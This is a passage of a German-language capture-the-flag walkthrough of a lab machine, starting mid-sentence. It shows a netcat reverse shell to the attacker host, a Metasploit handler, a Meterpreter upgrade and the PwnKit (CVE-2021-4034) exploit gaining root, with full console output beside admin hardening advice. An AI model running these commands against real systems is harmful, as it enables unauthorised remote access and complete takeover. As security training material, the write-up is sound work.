: Liest Daten aus der Pipe (`cat /tmp/f`), leitet sie (`|`) an eine interaktive Shell (`/bin/sh -i`) weiter. `2>&1` leitet auch Fehlerausgaben (stderr) an die Standardausgabe (stdout) um.| nc 192.168.2.137 4444 >/tmp/f
: Das Ergebnis der Shell (stdout und stderr) wird per Netcat (`nc`) an den Angreifer-PC gesendet (`192.168.2.137:4444`). Gleichzeitig werden alle Daten, die vom Angreifer-PC über Netcat empfangen werden, in die Pipe `/tmp/f` geschrieben (`>/tmp/f`), von wo sie dann von `cat` gelesen und an die Shell `/bin/sh` weitergeleitet werden.Bewertung: Dies ist eine Standardmethode, um eine einfache Reverse Shell zu erhalten. Sie bietet oft mehr Stabilität und Funktionalität als die direkte SSH-Shell, insbesondere wenn man plant, sie später zu einer Meterpreter-Sitzung aufzuwerten. Der Befehl wurde erfolgreich ausgeführt (keine Fehlermeldung außer dem erwarteten "cannot remove '/tmp/f': No such file or directory", wenn die Pipe noch nicht existierte).
Empfehlung (Pentester): Die Reverse Shell über den Metasploit Handler entgegennehmen und für die weitere Privilege Escalation nutzen. Optional direkt zu Meterpreter aufwerten.
Empfehlung (Admin): Netzwerk-Firewalls so konfigurieren, dass ausgehende Verbindungen auf ungewöhnliche Ports (wie 4444) blockiert oder überwacht werden. Host-basierte Firewalls und Intrusion Detection Systeme können solche Shell-Befehle erkennen. Sicherstellen, dass `/tmp` mit `noexec`-Option gemountet ist, um das Ausführen von Skripten aus `/tmp` zu erschweren (obwohl dieser spezielle Befehl davon nicht direkt betroffen ist).
&1|nc 192.168.2.137 4444 >/tmp/f rm: cannot remove '/tmp/f': No such file or directory ]]>
Analyse: Auf dem Angreifer-PC starten wir Metasploit (`msfconsole`) und konfigurieren den `multi/handler`. Dieses Modul dient dazu, eingehende Verbindungen von Reverse Shells oder Meterpreter-Payloads entgegenzunehmen.
use multi/handler
: Lädt das Modul.set payload generic/shell_reverse_tcp
: Wir erwarten eine generische Reverse TCP Shell (kein Meterpreter).set lhost eth0
: Setzt die lokale IP-Adresse, auf der gelauscht werden soll, auf die IP der Netzwerkschnittstelle `eth0` (Metasploit löst dies zur IP 192.168.2.137 auf).set lport 4444
: Setzt den lokalen Port, auf dem gelauscht wird, passend zum `nc`-Befehl auf dem Zielsystem.run
(oder `exploit`): Startet den Listener.Bewertung: Der Handler wird korrekt konfiguriert und gestartet. Kurz darauf meldet er `Command shell session 1 opened`, was bestätigt, dass die Reverse Shell vom Zielsystem erfolgreich verbunden wurde. Wir haben nun eine Shell-Sitzung innerhalb von Metasploit.
Empfehlung (Pentester): Die erhaltene Shell-Sitzung nutzen. Der nächste logische Schritt ist oft, diese einfache Shell zu einer voll funktionsfähigen Meterpreter-Sitzung aufzuwerten, um mehr Möglichkeiten zur Interaktion mit dem Zielsystem zu haben.
Empfehlung (Admin): Siehe Empfehlungen beim vorherigen Schritt bezüglich Firewalling und Erkennung von Reverse Shells.
use multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set lhost eth0 lhost => 192.168.2.137 msf6 exploit(multi/handler) > set lport 4444 lport => 4444 msf6 exploit(multi/handler) > options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (generic/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.2.137 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target View the full module info with the info, or info -d command. msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.2.137:4444 [*] Command shell session 1 opened (192.168.2.137:4444 -> 192.168.2.139:58180) at 2023-06-16 01:26:03 +0200 $ id uid=1002(eric) gid=1002(eric) groups=1002(eric) $ pwd /opt/coloradoftp-prime/home/anonymous $ ]]>
Analyse: Wir verwenden das Metasploit Post-Exploitation-Modul `multi/manage/shell_to_meterpreter`, um unsere bestehende einfache Shell (Session 1) zu einer Meterpreter-Sitzung aufzuwerten. Meterpreter bietet eine erweiterte Funktionalität zur Interaktion mit dem Zielsystem (z.B. Dateisystem-Operationen, Prozessmanagement, Netzwerk-Sniffing, Ausführen weiterer Module).
sessions -l
(nicht gezeigt, aber implizit): Listet aktive Sitzungen (hier Session 1).use post/multi/manage/shell_to_meterpreter
: Lädt das Modul.set SESSION 1
: Gibt die ID der aufzuwertenden Shell-Sitzung an.set LHOST 192.168.2.137
: Die IP, zu der sich der neue Meterpreter-Payload verbinden soll.set LPORT 4433
: Der Port, auf dem der Handler für den Meterpreter lauschen soll (ein anderer Port als die ursprüngliche Shell).run
: Führt das Modul aus. Es startet im Hintergrund einen neuen Handler auf Port 4433 und versucht, den Meterpreter-Payload über die bestehende Shell (Session 1) auf dem Zielsystem auszuführen.Bewertung: Das Upgrade ist erfolgreich! Metasploit meldet `Meterpreter session 2 opened`. Wir haben nun eine voll funktionsfähige Meterpreter-Sitzung mit den Rechten des Benutzers `eric`.
Empfehlung (Pentester): Die Meterpreter-Sitzung (Session 2) verwenden, um die Privilege Escalation fortzusetzen. Tools wie den `local_exploit_suggester` oder manuelle Enumeration innerhalb von Meterpreter (`sysinfo`, `getuid`, `ps`, `ls`, `download`, `upload` etc.) nutzen.
Empfehlung (Admin): Host-basierte Erkennungssysteme (EDR, AV) können die Ausführung von Meterpreter-Payloads erkennen und blockieren. Sicherstellen, dass solche Systeme aktuell sind. Überwachung auf verdächtige Prozesse und Netzwerkverbindungen, die durch Meterpreter entstehen.
sessions -l Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell linux uid=1002, gid=1 192.168.2.137:4444 -> 192.168.2.139:58180 (192.168.2.139) msf6 > use post/multi/manage/shell_to_meterpreter msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1 SESSION => 1 msf6 post(multi/manage/shell_to_meterpreter) > set LHOST 192.168.2.137 LHOST => 192.168.2.137 msf6 post(multi/manage/shell_to_meterpreter) > set LPORT 4433 LPORT => 4433 msf6 post(multi/manage/shell_to_meterpreter) > run [*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.137:4433 [*] Sending stage (1017704 bytes) to 192.168.2.139 [*] Meterpreter session 2 opened (192.168.2.137:4433 -> 192.168.2.139:60430) at 2023-06-16 01:27:13 +0200 [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed msf6 post(multi/manage/shell_to_meterpreter) > sessions -l Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell linux uid=1002, gid=1 192.168.2.137:4444 -> 192.168.2.139:58180 (192.168.2.139) 2 meterpreter x86/linux eric @ BM (uid=1002) 192.168.2.137:4433 -> 192.168.2.139:60430 (192.168.2.139) ]]>
Analyse: Wir verwenden das Metasploit Post-Exploitation-Modul `local_exploit_suggester`, um automatisch nach bekannten Kernel- oder Software-Schwachstellen auf dem Zielsystem zu suchen, die zur Rechteausweitung ausgenutzt werden könnten.
search suggester
: Findet das Modul.use post/multi/recon/local_exploit_suggester
: Lädt das Modul.set session 2
: Gibt die ID unserer Meterpreter-Sitzung an.run
: Startet den Suggester. Er sammelt Informationen über das Zielsystem (Kernel-Version, Distribution, installierte Pakete) und gleicht diese mit einer Datenbank bekannter Exploits ab.Bewertung: Der Suggester liefert eine Liste potenzieller Exploits. Besonders interessant sind:
Empfehlung (Pentester): Den PwnKit-Exploit (`exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`) ausprobieren. Dazu das Modul laden (`use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`), die Optionen setzen (`set session 2`, LHOST/LPORT für die neue Root-Shell) und ausführen (`run`).
Empfehlung (Admin): Das System dringend patchen! Insbesondere die `policykit-1`-Pakete aktualisieren, um die PwnKit-Schwachstelle (CVE-2021-4034) zu schließen. Generell alle Systempakete auf dem neuesten Stand halten, um bekannte Schwachstellen zu beheben.
search suggester Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester msf6 post(multi/manage/shell_to_meterpreter) > use 0 msf6 post(multi/recon/local_exploit_suggester) > options Module options (post/multi/recon/local_exploit_suggester): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on SHOWDESCRIPTION false yes Displays a detailed description for the available exploits View the full module info with the info, or info -d command. msf6 post(multi/recon/local_exploit_suggester) > set session 2 session => 2 msf6 post(multi/recon/local_exploit_suggester) > run [*] 192.168.2.139 - Collecting local exploits for x64/linux... [*] 192.168.2.139 - Valid modules for session 2: # Module Potentially Vulnerable? Check Result - ------ ----------------------- ------------ 1 exploit/linux/local/af_packet_chocobo_root_priv_esc Yes The target appears to be vulnerable. 2 exploit/linux/local/bpf_sign_extension_priv_esc Yes The target appears to be vulnerable. 3 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec Yes The target is vulnerable. 4 exploit/linux/local/dirty_pipe_priv_esc No Kernel version 4.4.0-36-generic is not vulnerable 5 exploit/linux/local/glibc_realpath_priv_esc Yes The target appears to be vulnerable. 6 exploit/linux/local/netfilter_priv_esc_ipv4 Yes The target appears to be vulnerable. 7 exploit/linux/local/ntfs3g_priv_esc Yes The target appears to be vulnerable. 8 exploit/linux/local/overlayfs_priv_esc No Kernel version 4.4.0-36-generic is not vulnerable 9 exploit/linux/local/pkexec Yes The service is running, but could not be validated. 10 exploit/linux/local/sudo_baron_samedit No Sudo version 1.8.16 is not vulnerable 11 exploit/linux/local/sudo_pwfeedback No Sudo version 1.8.16 is not vulnerable 12 exploit/linux/local/su_login Yes The target appears to be vulnerable. [*] Post module execution completed ]]>
Analyse: Wir laden und konfigurieren den PwnKit-Exploit (`exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`), wie vom Suggester empfohlen.
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
: Lädt das Exploit-Modul.set session 2
: Gibt unsere Meterpreter-Sitzung (als `eric`) an, über die der Exploit ausgeführt werden soll.set LHOST 192.168.2.137
: Die IP unseres Angreifer-PCs für die neue Reverse Shell (die Root-Shell sein wird).set LPORT 4445
: Ein neuer Port für die eingehende Root-Shell.run
: Startet den Exploit. Metasploit prüft (`check`) automatisch, ob das Ziel verwundbar ist, lädt dann den Exploit-Code und den Payload (standardmäßig ein Meterpreter Reverse TCP) auf das Ziel hoch und führt ihn aus.Bewertung: Grandios! Der Exploit funktioniert wie erwartet. Metasploit meldet:
Empfehlung (Pentester): Sofort in die neue Sitzung (Session 3) wechseln (`sessions -i 3`) und die Rechte überprüfen (`getuid`). Die Root-Flag (`/root/root.txt`) und die User-Flag (`/home/veronica/user.txt` oder `/home/eric/user.txt`) suchen und auslesen. Das System nach weiteren interessanten Informationen durchsuchen.
Empfehlung (Admin): Unbedingt das System patchen, um CVE-2021-4034 (PwnKit) zu schließen! Dies ist eine kritische Schwachstelle.
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec [*] Using configured payload linux/x64/meterpreter/reverse_tcp msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec): Name Current Setting Required Description ---- --------------- -------- ----------- PKEXEC_PATH no The path to pkexec binary SESSION yes The session to run this module on WRITABLE_DIR /tmp yes A directory where we can write files Payload options (linux/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.2.137 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 x86_64 View the full module info with the info, or info -d command. msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set SESSION 2 SESSION => 2 msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LHOST 192.168.2.137 LHOST => 192.168.2.137 msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LPORT 4445 LPORT => 4445 msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run [*] Started reverse TCP handler on 192.168.2.137:4445 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. [*] Writing '/tmp/.sefkyflbqiem/aijmjbgktufh/aijmjbgktufh.so' (548 bytes) ... [*] Sending stage (3045348 bytes) to 192.168.2.139 [+] Deleted /tmp/.sefkyflbqiem/aijmjbgktufh/aijmjbgktufh.so [+] Deleted /tmp/.sefkyflbqiem/.wmdfuawkzeyg [+] Deleted /tmp/.sefkyflbqiem [*] Meterpreter session 3 opened (192.168.2.137:4445 -> 192.168.2.139:58036) at 2023-06-16 01:30:40 +0200 meterpreter > ]]>
Analyse: Wir befinden uns nun in der neuen Meterpreter-Sitzung (Session 3). Wir überprüfen unsere Benutzeridentität mit `getuid`.
Bewertung: Perfekt! `getuid` gibt `Server username: root` zurück. Wir haben erfolgreich Root-Rechte auf dem Zielsystem erlangt. Das Hauptziel des Penetrationstests ist erreicht.
Empfehlung (Pentester): Die Root-Rechte nutzen, um die finalen Ziele (Flags) zu erreichen und persistente Zugänge einzurichten (falls im Scope). Das System gründlich auf weitere Schwachstellen oder interessante Daten untersuchen. Alle Spuren dokumentieren und ggf. beseitigen (je nach Scope).
Empfehlung (Admin): Das System sofort vom Netz nehmen oder isolieren und die Sicherheitslücken (insbesondere PwnKit) schließen. Forensische Analyse durchführen, um das Ausmaß des Angriffs zu verstehen und sicherzustellen, dass keine Backdoors oder Malware hinterlassen wurden. Das System neu installieren oder aus einem sauberen Backup wiederherstellen.
getuid Server username: root ]]>
Analyse: Mit Root-Rechten listen wir den Inhalt des `/root`-Verzeichnisses auf.
Bewertung: Wir sehen verschiedene Konfigurationsdateien (`.bashrc`, `.profile`) und Verzeichnisse (`.cache`, `.gnupg`, `.m2`, `.nano`), aber auch einige interessante Skripte (`cleanup.sh`, `ebd.sh`, `email.sh`, `ftp.sh`, `fwconfig.sh`, `ssh.sh`, `startup.sh`, `telnet.sh`, `wp.sh`) und die Datei `ebd.txt`. Dies bestätigt, dass die "Backdoor"-Mechanismen und andere Aktionen wahrscheinlich über Skripte im Root-Verzeichnis gesteuert wurden.
Empfehlung (Pentester): Die Root-Flag (`root.txt`) in diesem Verzeichnis suchen und auslesen. Optional die gefundenen Skripte analysieren, um die Funktionsweise der Maschine besser zu verstehen.
Empfehlung (Admin): Die Skripte im Root-Verzeichnis analysieren und entfernen, da sie Teil des unsicheren Setups waren. Sicherstellen, dass keine unnötigen oder unsicheren Skripte in privilegierten Verzeichnissen liegen.
ls /root Listing: /root ============== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100644/rw-r--r-- 3106 fil 2015-10-22 19:15:21 +0200 .bashrc 040700/rwx------ 4096 dir 2016-08-12 05:30:01 +0200 .cache 040700/rwx------ 4096 dir 2016-08-21 22:58:28 +0200 .gnupg 040755/rwxr-xr-x 4096 dir 2016-08-13 05:53:34 +0200 .m2 040755/rwxr-xr-x 4096 dir 2016-08-12 05:17:07 +0200 .nano 100644/rw-r--r-- 148 fil 2015-08-17 17:30:33 +0200 .profile 100644/rw-r--r-- 66 fil 2016-08-15 17:16:30 +0200 .selected_editor 100644/rw-r--r-- 222 fil 2016-08-21 04:58:22 +0200 .wget-hsts 040755/rwxr-xr-x 4096 dir 2016-08-23 04:24:55 +0200 checkban 100755/rwxr-xr-x 112 fil 2016-08-22 05:11:47 +0200 cleanup.sh 100755/rwxr-xr-x 59 fil 2016-08-22 05:12:21 +0200 ebd.sh 100644/rw-r--r-- 35 fil 2016-08-21 23:51:46 +0200 ebd.txt 100755/rwxr-xr-x 102 fil 2016-08-20 19:45:44 +0200 email.sh 100755/rwxr-xr-x 63 fil 2016-08-20 00:26:18 +0200 ftp.sh 100755/rwxr-xr-x 1020 fil 2016-08-20 21:00:41 +0200 fwconfig.sh 040755/rwxr-xr-x 4096 dir 2016-08-23 04:19:12 +0200 ssh 100755/rwxr-xr-x 33 fil 2016-08-12 05:51:25 +0200 ssh.sh 100755/rwxr-xr-x 69 fil 2016-08-16 03:54:52 +0200 startup.sh 100755/rwxr-xr-x 122 fil 2016-08-18 05:55:05 +0200 telnet.sh 100755/rwxr-xr-x 230 fil 2016-08-17 00:08:36 +0200 wp.sh ]]>
Analyse: Wir wechseln von der Meterpreter-Shell zu einer Standard-System-Shell mit dem Befehl `shell`. Anschließend überprüfen wir unsere Identität erneut mit `id`.
Bewertung: Der Wechsel zur System-Shell funktioniert, und `id` bestätigt weiterhin `uid=0(root) gid=0(root)`. Die Privilege Escalation war erfolgreich und persistent für diese Sitzung.
Empfehlung (Pentester): Die System-Shell nutzen, um die Flags zu lesen und ggf. weitere Befehle auszuführen, die in Meterpreter nicht direkt verfügbar sind.
Empfehlung (Admin): Siehe vorherige Empfehlungen bezüglich Patching und Bereinigung.
shell Process 5952 created. Channel 1 created. id uid=0(root) gid=0(root) groups=0(root) ]]>
Analyse: Wir bestätigen verbal den Erfolg der Privilege Escalation.
Bewertung: Das Ziel, Root-Rechte zu erlangen, wurde erreicht.
Empfehlung (Pentester): Nun die Flags auslesen.
Empfehlung (Admin): System bereinigen und absichern.
Analyse: Mit Root-Rechten lesen wir die User-Flag aus (wahrscheinlich aus `/home/veronica/user.txt` oder `/home/eric/user.txt`) und die Root-Flag aus `/root/root.txt`.
Bewertung: Beide Flags wurden erfolgreich extrahiert. Damit ist der Penetrationstest dieser Maschine abgeschlossen.
Empfehlung (Pentester): Die Flags im Bericht dokumentieren. Den erfolgreichen Abschluss des Tests vermerken.
Empfehlung (Admin): Die Ursachen (Schwachstellen), die zum Erlangen der Flags geführt haben, beheben. Die Flag-Dateien selbst sind nur ein Symbol für den erreichten Zugriff.